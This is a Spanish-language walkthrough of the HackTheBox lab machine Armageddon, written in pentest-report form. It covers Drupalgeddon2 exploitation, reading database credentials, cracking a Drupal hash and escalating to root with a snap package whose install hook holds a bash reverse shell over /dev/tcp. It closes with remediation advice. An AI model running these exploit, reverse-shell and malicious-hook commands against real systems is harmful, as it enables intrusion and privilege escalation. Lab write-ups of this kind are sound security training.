Key Findings
Durante el análisis de seguridad de la máquina Armageddon se identificaron las
siguientes vulnerabilidades críticas:
- Drupal CMS versión 7.56 vulnerable (CVE-2018-7600 "Drupalgeddon2")
- Credenciales de base de datos MySQL expuestas en archivos de configuración
- Credenciales de usuario almacenadas con hash débil
- Hash tipo Drupal $S$ crackeado mediante ataque de diccionario
- Escalada de privilegios vía binario
/usr/bin/snap
- Instalación de paquete Snap con hooks maliciosos
Key Learning Objectives
Los objetivos de aprendizaje clave en esta máquina incluyen:
- ✅ Network Port Scanning & Service Enumeration
- ✅ Web Application Fingerprinting & Version Discovery
- ✅ Drupal CMS Vulnerability Assessment
- ✅ CVE-2018-7600 Exploitation (Drupalgeddon2)
- ✅ Database Credential Extraction from Configuration Files
- ✅ MySQL Database Analysis & User Data Extraction
- ✅ Drupal Password Hash Identification & Cracking
- ✅ SSH Authentication with Compromised Credentials
- ✅ Sudo Privilege Analysis & Enumeration
- ✅ Snap Package Privilege Escalation Techniques
Reconnaissance & Enumeration
El reconocimiento inicial se realizó utilizando Nmap para identificar puertos abiertos y
servicios en ejecución.
❯ sudo nmap -p- --open -n -Pn -vvv -oG ports 10.10.10.233
❯ sudo nmap -p 22,80 -sCV -oN services 10.10.10.233
Resultados:
- Puerto 22/tcp: Servicio SSH
- Puerto 80/tcp: Servidor Apache HTTP ejecutando Drupal CMS
El escaneo reveló archivos de configuración expuestos incluyendo CHANGELOG.txt que divulgaba información de versión.
Web Application Assessment
La aplicación web presentaba un panel de login estándar con mensajes de estado de
desarrollo, indicando que el sitio aún estaba en construcción.
Version Discovery
El análisis del archivo CHANGELOG.txt reveló que el sistema ejecutaba Drupal
versión 7.56, una versión conocida por contener vulnerabilidades de seguridad críticas.
Vulnerability Identification & Exploitation
La versión identificada de Drupal 7.56 era vulnerable a CVE-2018-7600, comúnmente
conocido como "Drupalgeddon2". Esta vulnerabilidad crítica de ejecución remota de código fue descubierta y
parcheada por el equipo de seguridad de Drupal en abril de 2018. La vulnerabilidad afecta múltiples
versiones de Drupal CMS, permitiendo a atacantes remotos ejecutar código arbitrario en el servidor sin
autenticación mediante la manipulación de parámetros de formulario.
La explotación se realizó utilizando:
Se estableció exitosamente una reverse shell a través de la vulnerabilidad.
Configuration File Analysis
Las credenciales de la base de datos fueron descubiertas en el archivo de configuración
de Drupal /var/www/html/sites/default/settings.php, una
ubicación común para la configuración de base de datos de Drupal.
Database Analysis & Credential Extraction
Debido a la inestabilidad de TTY, se aprovechó el exploit obtenido anteriormente para
ejecutar comandos MySQL remotamente:
❯ python3 drupa7-CVE-2018-7600.py http://armageddon.htb -c "mysql -u drupaluser -pCQHEy@9M*m23gBVj -h localhost drupal -e 'SHOW DATABASES;'"
❯ python3 drupa7-CVE-2018-7600.py http://armageddon.htb -c "mysql -u drupaluser -pCQHEy@9M*m23gBVj -h localhost drupal -e 'USE drupal; SHOW tables'"
❯ python3 drupa7-CVE-2018-7600.py http://armageddon.htb -c "mysql -u drupaluser -pCQHEy@9M*m23gBVj -h localhost drupal -e 'USE drupal; SELECT * FROM users;'"
La enumeración de la base de datos reveló el usuario brucetherealadmin con la contraseña hasheada $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt.
Password Hash Cracking
El tipo de hash fue identificado utilizando la base de datos de hashes de ejemplo de
Hashcat:
❯ hashcat --example-hashes | grep '\$S\$' -A 20 -B 20
El hash de Drupal (modo 7900) fue crackeado exitosamente usando un ataque de
diccionario:
❯ hashcat -m 7900 hash $(locate rockyou.txt) --force
Contraseña crackeada: booboo
User Pivoting
Se estableció acceso SSH utilizando las credenciales comprometidas:
❯ ssh brucetherealadmin@10.10.10.233
La flag de usuario fue recuperada exitosamente, y comenzó la enumeración de escalada de
privilegios.
Privilege Escalation
El análisis de privilegios sudo reveló que el usuario podía ejecutar /usr/bin/snap con privilegios de root. Esto presentó
una oportunidad de escalada de privilegios a través de la instalación de un paquete snap malicioso.
Snap Package Privilege Escalation
Los siguientes comandos fueron ejecutados en la máquina de ataque local para crear un
paquete snap malicioso:
# Install fpm package manager
❯ sudo gem install fpm
# Create malicious snap package
❯ COMMAND="bash -c 'bash -i >& /dev/tcp// 0>&1'"
❯ cd $(mktemp -d)
❯ mkdir -p meta/hooks
❯ printf '#!/bin/sh\n%s; false' "$COMMAND" > meta/hooks/install
❯ chmod +x meta/hooks/install
❯ fpm -n xxxx -s dir -t snap -a all meta
El paquete snap malicioso fue creado exitosamente:
El paquete fue transferido al sistema objetivo:
Root Access Achievement
El paquete snap malicioso fue instalado con flags dangerous y development mode:
❯ sudo snap install xxxx_1.0_all.snap --dangerous --devmode
Los privilegios de root fueron obtenidos exitosamente:
La flag de root fue recuperada:
Recommendations
Immediate Actions
1. Update Drupal Installation
- Actualizar Drupal a la última versión estable
- Aplicar parches de seguridad para CVE-2018-7600
- Implementar procedimientos adecuados de gestión de actualizaciones
2. Database Security
- Cambiar las credenciales de base de datos por defecto
- Restringir el acceso a la base de datos solo a servicios necesarios
- Eliminar credenciales expuestas de archivos de configuración
3. Password Security
- Aplicar políticas de contraseñas fuertes
- Implementar autenticación multifactor donde sea posible
- Rotación regular de contraseñas para cuentas administrativas
4. System Hardening
- Eliminar privilegios sudo innecesarios
- Restringir permisos de instalación de paquetes snap
- Revisión regular de privilegios de usuario y controles de acceso
Long-term Security Improvements
1. Access Controls
- Implementar el principio de mínimo privilegio
- Auditoría regular de permisos de usuario y acceso sudo
- Segmentación de red y restricciones de acceso
2. Monitoring
- Desplegar soluciones de logging comprehensivas
- Implementar alertas en tiempo real para actividades sospechosas
- Monitorear instalaciones no autorizadas de paquetes snap
3. Regular Security Assessments
- Realizar evaluaciones periódicas de vulnerabilidades
- Implementar escaneo de seguridad automatizado
- Pruebas de penetración regulares de aplicaciones web
4. Configuration Management
- Almacenamiento seguro de datos de configuración sensibles
- Implementar controles de acceso a archivos de configuración
- Pruebas regulares de backup y recuperación